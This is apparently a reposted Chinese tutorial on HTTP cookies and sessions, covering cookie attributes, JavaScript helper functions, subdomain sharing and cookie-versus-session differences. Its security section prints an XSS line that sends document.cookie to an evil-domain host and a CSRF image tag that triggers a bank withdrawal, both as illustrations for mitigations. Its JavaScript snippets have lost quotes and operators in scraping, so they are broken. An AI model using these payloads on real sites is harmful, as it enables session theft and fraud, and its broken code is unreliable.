當前位置:首頁>職場>網易準星的面試題(驚艷面試官的Cookie介紹)
發布時間:2024-01-19閱讀(16)
關注在看,以后更多干貨分享在頭條!
Cookie 是什么
Cookie 是用戶瀏覽器保存在本地的一小塊數據,它會在瀏覽器下次向同一服務器再發起請求時被攜帶并發送到服務器上。
Cookie 主要用于以下三個方面:
? Domain
- 會話狀態管理(如用戶登錄狀態、購物車、游戲分數或其它需要記錄的信息)
- 個性化設置(如用戶自定義設置、主題等)
- 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)
Domain 標識指定了哪些主機可以接受 Cookie。如果不指定,默認為當前文檔的主機(不包含子域名)。如果指定了 Domain,則一般包含子域名(子域名可以訪問父域名的 Cookie)。
例如,如果設置 Domain=mozilla.org,則 Cookie 也包含在子域名中(如 developer.mozilla.org)。
? PathPath 標識指定了主機下的哪些路徑可以接受 Cookie(該 URL 路徑必須存在于請求 URL 中)。以字符 %x2F (/) 作為路徑分隔符,子路徑也會被匹配。
設置 Path=/docs,則以下地址都會匹配:
? Expires/Max-Age
- /docs
- /docs/Web/
- /docs/Web/HTTP
Cookie 的過期時間,過了這個時間之后 Cookie 將會自動刪除。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;Max-Age 的單位是秒。
? HttpOnly
document.cookie = promo_shown=1; Max-Age=2600000; Secure為避免跨域腳本 (XSS) 攻擊,通過 JavaScript 的 Document.cookie API 無法訪問帶有 HttpOnly 標記的 Cookie,它們只應該發送給服務端。如果包含服務端 Session 信息的 Cookie 不想被客戶端 JavaScript 腳本調用,那么就應該為其設置 HttpOnly 標記。
? Secure
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly標記為 Secure 的 Cookie 只應通過被 HTTPS 協議加密過的請求發送給服務端。
SameSite
- www.ruanyifeng.com/blog/2019/0…
- www.zhihu.com/question/37…
SameSite Cookie 允許服務器要求某個 Cookie 在跨站請求時不會被發送,從而可以阻止跨站請求偽造攻擊(CSRF)。
Set-Cookie: key=value; SameSite=Strict
- None 瀏覽器會在同站請求、跨站請求下繼續發送 Cookies,不區分大小寫;
- Strict 瀏覽器將只發送相同站點請求的 Cookie(即當前網頁 URL 與請求目標 URL 完全一致)。如果請求來自與當前 location 的 URL 不同的 URL,則不包括標記為 Strict 屬性的 Cookie;
- Lax 在新版本瀏覽器中,為默認選項,Same-site Cookies 將會為一些跨站子請求保留,如圖片加載或者 iframe 不會發送,而點擊 <a> 標簽會發送;
? 增刪改查
- www.w3school.com.cn/js/js_cooki…
設置 Cookie 和修改 Cookie 相同:
function setCookie(cname, cvalue, exdays) { const d = new Date() d.setTime(d.getTime() exdays * 24 * 60 * 60 * 1000) const expires = expires= d.toUTCString() return (document.cookie = cname = cvalue ; expires ;path=/)}刪除 Cookie:
function deleteCookie(cname) { const d = new Date() const expires = expires= d.toUTCString() return (document.cookie = cname = ; expires ;path=/)}查詢 Cookie:
function getCookie(cname) { const cookieObj = document.cookie.split(;).reduce((prev, curr) => { const entry = curr.split(=) prev[entry[0].trim()] = entry[1] return prev }, {}) if (cname) return cookieObj[cname] return cookieObj}? 不同二級域名共享 Cookie
Cookie 可以設置成給子域名共享,類似于在 x.com.cn 設置的 Cookie 可以提供給 a.x.com.cn、b.x.com.cn、suba.a.x.com.cn 等域名訪問。
比如下面的方式:
res.writeHead(200, { Set-Cookie: [name=sub-x-com-cn; path=/;domain=x.com.cn, name=only-x-com-cn; path=/],})domain=x.com.cn 表示 domain=x.com.cn 及其子域名都可以使用, 不寫 doamin 默認只有當前域名可用,設置的 Cookie 是這樣的:
總結
- 設置 Cookie 時,在 x.com.cn 設置為 ...;domain=x.com.cn 的 Cookie 可以給 x.com.cn 及其子域名使用;
- 設置 Cookie 時,在 x.com.cn 設置沒有 domain 的 Cookie 只能給 x.com.cn 使用;
- 父域名無法在子域名設置 Cookie,例如在 x.com.cn 設置了 name=lxfriday;domain=subx.x.com.cn,這種設置是無效的;
? Cookie 常見問題
- Cookie 不區分端口;
- 一個 Cookie 存儲上限是 4K 大?。?/li>
- Cookie 只能存儲 ASCII 字符串;
? Cookie 安全-會話劫持和 XSS
new Image().src = http://www.evil-domain.com/steal-cookie.php?cookie= document.cookieHttpOnly 類型的 Cookie 由于阻止了 JavaScript 對其的訪問性而能在一定程度上緩解此類攻擊。
? Cookie 安全-跨站請求偽造(CSRF)
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />當你打開含有了這張圖片的 HTML 頁面時,如果你之前已經登錄了你的銀行帳號并且 Cookie 仍然有效(還沒有其它驗證步驟),你銀行里的錢很可能會被自動轉走。
這種情況只是一種假設,實際上應該不允許使用 GET 修改數據,對轉賬的操作需要添加二次確認。
? Session
Session 機制是一種服務器端的機制,服務器使用一種類似于散列表的結構(也可能就是使用散列表)來保存信息。
當程序需要為某個客戶端的請求創建一個 Session 時,服務器首先檢查這個客戶端的請求里是否已包含了一個 Session 標識(稱為 Session ID),如果已包含則說明以前已經為此客戶端創建過 Session,服務器就按照 Session ID 把這個 Session 檢索出來使用(檢索不到,會新建一個),如果客戶端請求不包含 Session ID,則為此客戶端創建一個 Session 并且生成一個與此 Session 相關聯的 Session ID,Session ID 的值應該是一個既不會重復,又不容易被找到規律以仿造的字符串,這個 Session ID 將被在本次響應中返回給客戶端保存。
Session 從客戶端傳輸到服務端的方式有兩種:
- 通過 Cookie 傳輸;
- 通過 URL 傳輸;
- 表單隱藏字段,通過在 <form> 中添加一個隱藏字段,把 Session 傳回服務器;
基于 Cookie 實現,會話期 Cookie 是最簡單的 Cookie:瀏覽器關閉之后它會被自動刪除,也就是說它僅在會話期內有效。會話期 Cookie 不需要指定過期時間(Expires)或者有效期(Max-Age)。
Set-Cookie: name=lxfriday.xyz; path=/; HttpOnly
? Cookie 與 Session 有什么不同
- mp.weixin.qq.com/s?__biz=MzA…
- 保存的地方不同,Cookie 保存在客戶端,Session 保存在服務端;
- 有效期不同,Cookie 可以存儲很長時間,Session 只能存在于一次會話中,瀏覽器關閉之后 Session 就失效了;
- 安全性不同,Cookie 存儲在客戶端容易被盜取或者利用,Session 在服務端比較安全;
- 存儲大小不同,單個 Cookie 能存儲 4K 的數據,Session 存儲量比 Cookie 高得多;
- 存取方式不同,Cookie 中只能保存 ASCII 字符串,假如需求存取 Unicode 字符或者二進制數據,需求先進行編碼。Session 中能夠存取任何類型的數據;
- 服務器壓力不同,Session 是存儲在服務端的,巨大并發的時候會使服務器資源急速飆升。Cookie 則不存在此問題;
作者:云影sky鏈接:https://juejin.im/post/5e57a3ff6fb9a07cb1578d12
Copyright ? 2024 有趣生活 All Rights Reserve吉ICP備19000289號-5 TXT地圖HTML地圖XML地圖